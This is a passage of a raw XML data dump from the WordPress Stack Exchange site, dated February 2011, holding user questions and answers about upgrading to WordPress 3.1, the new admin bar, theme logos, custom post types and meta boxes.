2&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to see if the current page is a top level page? &lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2011-02-23T16:49:12.950" Title="Find out if a page has no parent" Tags="&lt;menus&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="10218" PostTypeId="2" ParentId="10217" CreationDate="2011-02-23T16:49:00.213" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If post_parent is zero, you are there.&lt;/p&gt;&#xA;" OwnerUserId="3434" LastActivityDate="2011-02-23T16:49:00.213" />
  <row Id="10219" PostTypeId="1" AcceptedAnswerId="10257" CreationDate="2011-02-23T17:20:01.823" Score="0" ViewCount="128" Body="&lt;p&gt;I got some custom post types where i deregistered the &quot;title&quot; meta box. Now i always get &quot;Auto Draft&quot; as title. To avoid this i'd like to add the name of a taxonomy as the title. But how would i check if the meta box &quot;title&quot; exists or not?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-24T01:25:36.517" Title="Post edit screen: How to check if meta_box is registered?" Tags="&lt;metabox&gt;" AnswerCount="1" />
  <row Id="10220" PostTypeId="1" AcceptedAnswerId="10229" CreationDate="2011-02-23T17:32:18.717" Score="0" ViewCount="117" Body="&lt;p&gt;I've done my sharing of hacking themes before, especially to replace the site title with a logo, but for newest thematic theme, I can't figure out where to edit the code to add my logo. I've checked header.php and the style.css but can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/thematic&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/thematic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-23T19:50:44.233" Title="How to add logo in Thematic" Tags="&lt;themes&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10221" PostTypeId="2" ParentId="10220" CreationDate="2011-02-23T17:43:04.237" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.cozmoslabs.com/2009/05/28/add-a-header-image-to-thematic-the-easy-way/comment-page-2/#comments&quot; rel=&quot;nofollow&quot;&gt;http://www.cozmoslabs.com/2009/05/28/add-a-header-image-to-thematic-the-easy-way/comment-page-2/#comments&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is too over the top, but seems a cool way to do it.  Hopefully this is still up to date (it appears so judging by the comment thread)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It adds an option panel for uploading header images.....&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-02-23T17:43:04.237" CommentCount="2" />
  <row Id="10222" PostTypeId="1" CreationDate="2011-02-23T17:56:37.227" Score="0" ViewCount="133" Body="&lt;p&gt;I use stackoverflow very often and just found out in google about this one, Nice :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well,&#xA;i want to save my every post i write from wordpress to my 3rd (OEXChangeble) website aswell at the same time, so i need to send the info to my website, developing a plugin iguess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need basically the &lt;strong&gt;permalink&lt;/strong&gt; (and i would be able to extract the rest of the params from my wesite), but better if i can get title, tags, permalink and description(or some of it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i understand by my google research that all i need to do is add something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;//header of plugin   &#xA;function myFunctionThatSendsMyWebsite($url){&#xA;// procedure containing a file_get_contents('myqwebsite?url=') request to my website&#xA;}&#xA;add_action('page_post', 'myFunctionThatSendsMyWebsite', $permalink));&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have problems thoug finding the name of variables i have missing (marked by ???). I know that $post contains all objet, how to extract the info from it (if there is), or if it's complicated, it would be enought for me with permalink&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tip?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3435" LastEditorUserId="3435" LastEditorDisplayName="" LastEditDate="2011-02-25T05:49:28.097" LastActivityDate="2011-02-25T19:16:33.233" Title="help intercepting save_post through plugin" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;permalinks&gt;&lt;posts&gt;&lt;save-post&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="10223" PostTypeId="1" AcceptedAnswerId="10224" CreationDate="2011-02-23T18:15:11.300" Score="2" ViewCount="1385" Body="&lt;p&gt;As soon as i saw the message on WPSE about the 3.1 release i immediately went a did a switch on my local installation(SVN switch).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only issue is the &lt;code&gt;wp-settings.php&lt;/code&gt; is trying to include a non-existant file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically i'm stuck seeing the following two error messages.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: require(MYPATH/wp-includes/classes.php) [function.require]: failed to open stream: No such file or directory in MYPATH\wp-settings.php on line 68&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: require() [function.require]: Failed opening required 'MYPATH/wp-includes/classes.php' (include_path='.;MYPATH/usr/local/php/includes;MYPATH/local/php/pear;MYPATH/home/admin/www/plugins/pear/PEAR') in MYPATH\wp-settings.php on line 68&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;MYPATH is actually a real path, i've removed that from the above quoted errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.1 does not contain any such file, and i've checked my trunk installation to confirm(it's not in trunk). So what's the deal, why is the settings file still trying to include this file? Maybe an oversight with the release?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could go grab a copy from 3.0.5, just want to hear what you guys have to say first(had this problem yourself?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Looks like this is a local issue, i should be getting an updated wp-settings.php file, but for some reason SVN up is giving me an older copy(must be some caching issue somewhere, i assume).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll update the question if i figure out the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;br&gt;&#xA;No idea why, but seems the switch didn't quite take, wiping the svn folders and doing the checkout procedure again(like i first did when i set the directory to pull from the SVN) seems to have resolved the problem.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-23T18:46:32.157" LastActivityDate="2011-02-25T17:07:45.187" Title="How to fix broken upgrade to 3.1" Tags="&lt;3.1&gt;&lt;fatal-error&gt;&lt;svn&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" />
  <row Id="10224" PostTypeId="2" ParentId="10223" CreationDate="2011-02-23T18:34:42.943" Score="3" ViewCount="" Body="&lt;p&gt;There is no reference to 'classes.php' anywhere in the WP codebase, either in the 3.1 branch or in trunk. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably have a modified version. Do a 'svn stat' and then a 'svn diff'.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-23T18:34:42.943" CommentCount="7" />
  <row Id="10225" PostTypeId="2" ParentId="8517" CreationDate="2011-02-23T18:44:48.150" Score="0" ViewCount="" Body="&lt;p&gt;[edit: missed part of the question]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't swear to this being a best practice, but the solution I've seen is to include 'wp-admin/admin.php' which should give you access to any/all WordPress functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting to it is the challenge, considering that your plugin can be renamed/moved. This  [hackish] solution assumes that the plugin still resides in the 'wp-content' directory. You'll want to place this code at the top of your 'box.php' file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$admin = dirname( __FILE__ ) ;&#xA;$admin = substr( $admin , 0 , strpos( $admin , &quot;wp-content&quot; ) ) ;&#xA;require_once( $admin . 'wp-admin/admin.php' ) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there's a better way of doing this, I'd love to see it as well -- this feels sorta hackish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for putting your content back in the editor, you'll need to include the 'tiny_mce_popup.js' file in your dialog. Put this in the head of your box.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo get_option( 'siteurl' ) ?&amp;gt;/wp-includes/js/tinymce/tiny_mce_popup.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your dialog should have some form of javascript method that is triggered when the user clicks OK. In that method you'll use the execCommand, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;function myOnSubmitFunction( ){&#xA;    tinyMCEPopup.editor.execCommand('mceInsertContent', false, 'Put your content here...' ) ;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully I've made this a bit more clear.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-23T19:12:53.410" />
  <row Id="10226" PostTypeId="1" AcceptedAnswerId="10227" CreationDate="2011-02-23T18:48:53.357" Score="1" ViewCount="142" Body="&lt;p&gt;With the release of WordPress 3.1, I'm about to update my own WP installation. I've had a thought about the different ways one can do the update: by hand (ugh), via Subversion checkout on the server, and using the built-in updater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this point I've used the SVN route, not sure why, possibly that was from before WP added the auto-update feature. It's a minor hassle though, as I have to log in to the server and run &lt;code&gt;svn up&lt;/code&gt; to get the new release - admittedly that's not a big deal, but it's an extra step over logging into WP to apply the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would imagine that the WP folks have worked hard on the auto update feature and kept it as smooth as possible. With that in mind, should I just not bother with an SVN checkout to run my site, and just use the updater? Or is there any reason why I should keep using the SVN method?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-02-23T20:15:47.173" Title="Is the built-in updater the &quot;best&quot; way to upgrade WP installations?" Tags="&lt;upgrade&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="10227" PostTypeId="2" ParentId="10226" CreationDate="2011-02-23T19:24:36.570" Score="7" ViewCount="" Body="&lt;p&gt;If you're already using the SVN method, then keep using it. Trying to auto-upgrade an SVN site will probably fail due to all the extra .svn directories and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Auto-upgrade doesn't do anything special or different. It's just replacing the WordPress files with the new ones. SVN will do the same thing.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-23T19:24:36.570" CommentCount="3" />
  <row Id="10228" PostTypeId="2" ParentId="10226" CreationDate="2011-02-23T19:33:07.140" Score="2" ViewCount="" Body="&lt;p&gt;I used to do it by hand, but using the auto-update feature is a lot easier and saves me time. There are times though when I get stuck in maintenance mode, but I believe I have only run into that while updating plug-ins. With some 3.0.x releases, the auto-updater actually replaced my Akismet plug-in with an older version. The newer Akismet wasn't bundled with Wordpress until 3.1 was released so I had to re-update the plug-in again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you may want to consider is the wp-config.php file. I have been upgrading Wordpress (both by hand and the updater) for quite a while before the 3.x releases without even looking at the wp-config-sample.php file. In my case, the only major changes were the authentication keys and salts that were added. One of the key constants didn't even seem to be used anymore. However, even with an older wp-config.php file Wordpress still worked with no problems.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditorDisplayName="" LastEditDate="2011-02-23T19:58:33.043" LastActivityDate="2011-02-23T19:58:33.043" />
  <row Id="10229" PostTypeId="2" ParentId="10220" CreationDate="2011-02-23T19:50:44.233" Score="2" ViewCount="" Body="&lt;p&gt;The easiest way is to use a css background image for your logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to line 65 of default.css and change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#blog-title {&#xA;    font-family:Arial,sans-serif;&#xA;    font-size:34px;&#xA;    font-weight:bold;&#xA;    line-height:40px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#blog-title {&#xA;background: url(images/path_to_your_logo.png) no-repeat;&#xA;display:block;&#xA;width: 00px; /* enter logo width */&#xA;height: 00px; /* enter logo height */&#xA;text-indent: -999em; /* replaces blog title with your logo */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-02-23T19:50:44.233" CommentCount="1" />
  <row Id="10230" PostTypeId="1" AcceptedAnswerId="10275" CreationDate="2011-02-23T20:14:42.150" Score="0" ViewCount="145" Body="&lt;p&gt;Here is the code I'm using to add a custom field to a post type I have set up. As you can see it creates an input box which allows me to add whatever I want. I want to put urls in this box (without the &quot;http://&quot;, e.g. &quot;example.com&quot;) and have them be automatically clickable. Is there a way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;admin_init&quot;, &quot;add_friends_fields&quot;);&#xA;&#xA;function add_friends_fields(){&#xA;    add_meta_box(&quot;artist_links&quot;, &quot;Links&quot;, &quot;artist_links&quot;, &quot;friends&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;}&#xA;&#xA;function artist_links(){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $artist_links = $custom[&quot;artist_links&quot;][0];&#xA;    ?&amp;gt;&#xA;    &amp;lt;label&amp;gt;Links:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input size=&quot;50&quot; name=&quot;artist_links&quot; value=&quot;&amp;lt;?php echo $artist_links; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-edit-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;section id=&quot;artists&quot;&amp;gt;&#xA;        &amp;lt;h2 class=&quot;title&quot;&amp;gt;&amp;lt;span&amp;gt;Artists&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php&#xA;            $i=1;&#xA;&#xA;            $temp = $wp_query;&#xA;            $wp_query = null;&#xA;            $wp_query = new WP_Query();&#xA;            $wp_query-&amp;gt;query('post_type=friends&amp;amp;posts_per_page=-1');&#xA;&#xA;            while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;&#xA;            $custom = get_post_custom($post-&amp;gt;ID);&#xA;            $artist_links = $custom[&quot;artist_links&quot;][0];&#xA;            $artist_bio = $custom[&quot;artist_bio&quot;][0];&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;article class=&quot;mgm-artist&amp;lt;?php if($i%6 == 0) { echo ' right'; }; $i++; ?&amp;gt;&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail( 'video-thumb' ); } ?&amp;gt;&#xA;            &amp;lt;section class=&quot;artist-details&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;span&amp;gt;Name:&amp;lt;/span&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;span&amp;gt;Bio:&amp;lt;/span&amp;gt; &amp;lt;?=$artist_bio?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;span&amp;gt;Link(s):&amp;lt;/span&amp;gt; &amp;lt;?=$artist_links?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;            endwhile; &#xA;            $wp_query = null;&#xA;            $wp_query = $temp;&#xA;            wp_reset_query();&#xA;        ?&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="3239" LastEditorDisplayName="" LastEditDate="2011-02-23T22:49:54.780" LastActivityDate="2011-02-24T08:06:41.437" Title="making urls clickable for wordpress custom post type field?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" />
  <row Id="10231" PostTypeId="2" ParentId="10226" CreationDate="2011-02-23T20:15:47.173" Score="1" ViewCount="" Body="&lt;p&gt;I've been updating multiple WordPress installations using the automatic upgrade for the last couple years without any problems. Even if it works well, though, you should always take the time to back up your database and files just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wordpress.org/extend/plugins/wp-db-backup/&quot; rel=&quot;nofollow&quot;&gt;WP-DB-Backup&lt;/a&gt; is a simple plugin you can use to create a quick backup of your database.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-02-23T20:15:47.173" />
  <row Id="10232" PostTypeId="1" AcceptedAnswerId="10234" CreationDate="2011-02-23T20:25:57.457" Score="0" ViewCount="548" Body="&lt;p&gt;&lt;a href=&quot;https://codex.wordpress.org/Version_3.1&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.1&lt;/a&gt; added the Admin Bar feature, similar to the one used in WordPress.com websites, which appears on both the website and Dashboard for logged in users (if enabled in your User settings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated to WP 3.1 and enabled both settings for the admin bar (&quot;when viewing site&quot; and &quot;in dashboard&quot;), as well as clearing all caches (through W3 Total Cache) and my browser cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on why I'm still not seeing the admin bar? I am using a custom theme, but I don't see how that would affect the Dashboard admin bar.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-02-23T20:40:38.390" Title="The new WordPress 3.1 &quot;Admin Menu&quot; isn't appearing on my site or in the Dashboard" Tags="&lt;upgrade&gt;&lt;3.1&gt;&lt;admin-bar&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10233" PostTypeId="1" CreationDate="2011-02-23T20:36:10.783" Score="0" ViewCount="249" Body="&lt;p&gt;This has only been a problem since I updated to Wordpress 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page that displays a list of custom post types. The page is the child of a parent page. There is a sidebar that lists sibling pages. The code for the two is conflicting somehow, and I can't get the list of pages to show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code to display the list of custom post type (in my case 'sponsor'):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array( 'numberposts' =&amp;gt; 30, 'post_type' =&amp;gt; 'sponsor' );&#xA;$sponsors = get_posts( $args );&#xA;foreach ($sponsors as $post) :  setup_postdata($post); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code in my sidebar to list the sibling pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if (!$post-&amp;gt;post_parent) {&#xA;        $children = wp_list_pages('title_li=&amp;amp;child_of='.$post-&amp;gt;ID.'&amp;amp;echo=0');&#xA;    } else {&#xA;        $p = end(get_post_ancestors($post-&amp;gt;page));&#xA;        $children = wp_list_pages('title_li=&amp;amp;child_of='.$p.'&amp;amp;echo=0');&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;    if ($children) {&#xA;        $parent_title = end(get_post_ancestors($post));&#xA;?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php echo $children; ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing is showing up in the sidebar. I tried deleting the code for the posts, and the list of pages showed up correctly. But something about the &quot;get_posts&quot; is not letting the &quot;list_pages&quot; work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what alternate code I can use?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-24T14:44:27.490" Title="Conflict between wp_list_pages and get_posts - list pages not displaying" Tags="&lt;custom-post-types&gt;&lt;pages&gt;&lt;get-posts&gt;&lt;3.1&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="10234" PostTypeId="2" ParentId="10232" CreationDate="2011-02-23T20:40:38.390" Score="1" ViewCount="" Body="&lt;p&gt;Do you have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your footer.php?&#xA;It should be right at the bottom before the closing  tag&#xA;&lt;a href=&quot;http://voodoopress.com/2011/02/wordpress-3-1-admin-bar-upgrade-issues/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/02/wordpress-3-1-admin-bar-upgrade-issues/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-02-23T20:40:38.390" CommentCount="9" />
  <row Id="10235" PostTypeId="1" AcceptedAnswerId="10249" CreationDate="2011-02-23T20:57:00.770" Score="0" ViewCount="337" Body="&lt;p&gt;I just recently upgraded to WordPress 3.1 a few moments ago. However, I noticed that when you have Post Types show up under a *main* menu page, it overrides the link fo th menu link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Kms5A.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my &lt;code&gt;register_post_type&lt;/code&gt; arguments for &quot;Visitor&quot; post type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $v_args = array(&#xA;        'labels' =&amp;gt; array (&#xA;                'name' =&amp;gt; 'Visitors',&#xA;                'singular_name' =&amp;gt; 'Visitor',&#xA;                'add_new_item' =&amp;gt; 'Register New Visitor', // TODO: http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&#xA;            ),&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; false,&#xA;        'exclude_from_search' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; 'argus',&#xA;        //'show_in_menu' =&amp;gt; false,&#xA;        'hiearchical' =&amp;gt; false,&#xA;        'supports' =&amp;gt; array( '' ),&#xA;        'capabilities' =&amp;gt; $visitor_caps,&#xA;        'register_meta_box_cb' =&amp;gt; array ( &amp;amp;$this, '_wp_visitor_meta_box_cb' ),&#xA;    );&#xA;&#xA;    // http://codex.wordpress.org/Function_Reference/register_post_type&#xA;    register_post_type( $post_type, $v_args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the call to &lt;code&gt;add_menu_page&lt;/code&gt; that adds the link to the admin menu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function _wp_admin_menu( )&#xA;{&#xA;    add_menu_page( 'Argus', 'Argus Admin', 'argus', 'argus', array( &amp;amp;$this, '_wp_argus_main_panel' ), '', -1 );&#xA;    add_submenu_page( 'argus', 'Argus Administration', 'Main Menu', 'argus', 'argus', array( &amp;amp;$this, '_wp_argus_main_panel' ) );        &#xA;    // save having to register 'admin_menu' action across every sub-plugin&#xA;    // There is no 'admin_menu' function/method in any class stored in $classes&#xA;    foreach( self::$classes as $class =&amp;gt; $obj )&#xA;    {&#xA;        if ( method_exists( $obj, 'admin_menu' ) )&#xA;        {&#xA;            $obj-&amp;gt;admin_menu();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note:&lt;/strong&gt; The call to &lt;code&gt;add_submenu_page&lt;/code&gt; was added after the fact and doesn't change the behavior or output one bit. I added this to re-add the default link that 3.0.4 added by default under the link header generated by &lt;code&gt;add_menu_page&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-23T23:45:28.747" Title="Ordering Submenu Pages in WP 3.1" Tags="&lt;custom-post-types&gt;&lt;menus&gt;&lt;upgrade&gt;&lt;admin-menu&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="10236" PostTypeId="1" AcceptedAnswerId="10261" CreationDate="2011-02-23T21:31:08.810" Score="5" ViewCount="1052" Body="&lt;p&gt;I just updated one of my blogs to the new wordpress 3.1 and i need to hide the admin menu that shows up on top of the pages. How do i disable it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="2873" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-24T14:20:06.270" LastActivityDate="2011-03-01T22:11:27.397" Title="hide Wordpress 3.1 admin menu" Tags="&lt;admin-bar&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="10237" PostTypeId="2" ParentId="10236" CreationDate="2011-02-23T21:35:06.830" Score="8" ViewCount="" Body="&lt;p&gt;Go to Dashboard &gt; Your Profile &gt; Show Admin Bar and uncheck &quot;when viewing site&quot;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-02-23T21:35:06.830" CommentCount="6" />
  <row Id="10238" PostTypeId="1" AcceptedAnswerId="10246" CreationDate="2011-02-23T21:41:27.950" Score="0" ViewCount="60" Body="&lt;p&gt;I have a post that belongs to two categories (Drinks, Food).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post appears on category pages under &lt;code&gt;/category/drinks&lt;/code&gt; and &lt;code&gt;/category/food&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on the post under category archive &lt;code&gt;/category/drinks&lt;/code&gt; it takes me to a post page that's in &lt;code&gt;/food/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to solve this in a way that the post stays in the same category?&lt;/p&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-02-23T23:31:19.597" Title="Post belonging to many categories" Tags="&lt;categories&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="10239" PostTypeId="1" CreationDate="2011-02-23T21:45:50.703" Score="0" ViewCount="239" Body="&lt;p&gt;is there any way to display recent comments in a widget area &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;only for &lt;strong&gt;one page&lt;/strong&gt;? = Comments that are belongs to one page.&lt;/li&gt;&#xA;&lt;li&gt;comments of &lt;strong&gt;one category&lt;/strong&gt; but not from admin ( or some other user )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to have two widget on my home page&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;10 last comments for one page&lt;/li&gt;&#xA;&lt;li&gt;10 last comments for one category except my own comments&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditorDisplayName="" LastEditDate="2011-02-23T22:07:39.297" LastActivityDate="2011-02-24T00:03:25.097" Title="recent comments filter by author, page, category" Tags="&lt;comments&gt;&lt;widgets&gt;&lt;filters&gt;&lt;get-comments&gt;" AnswerCount="1" />
  <row Id="10240" PostTypeId="1" CreationDate="2011-02-23T21:57:24.790" Score="0" ViewCount="272" Body="&lt;p&gt;I'm trying to call some hidden custom fields into a meta box. The custom fields are the same - a maximum of five named _link and five named _url, with sequential numbers following (eg _link3). However, if the user has only filled in one link when submitting the post, I don't want the empty fields to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have knocked up the following loop. In theory, it should do a get_post_meta for _link0, and if it isn't empty it should do the same for _url1, print the results, and advance the counter to process _link1/_url1. With _link0/_url0 contained in the database, those fields appear fine. What I'm finding is that because _link1/_url1 aren't in the database, the loop will print the first field correctly, followed by four more empty fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped. I've seen posts that suggest using !empty($link) and found that while it prints the first fields fine, the second fields will cause a fatal error (maximum execution time exceeded) and stop the page from loading. My code is below - am I overlooking something simple?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$i = 0;&#xA;do {&#xA;       $link_key = '_link' . $i;&#xA;       $url_key = '_url' . $i;&#xA;       $link = get_post_meta($post-&amp;gt;ID,$link_key,TRUE);&#xA;       if (isset($link)) {&#xA;          $url = get_post_meta($post-&amp;gt;ID,$url_key,TRUE);&#xA;          include(MY_PLUGIN_FOLDER . 'links.php');&#xA;          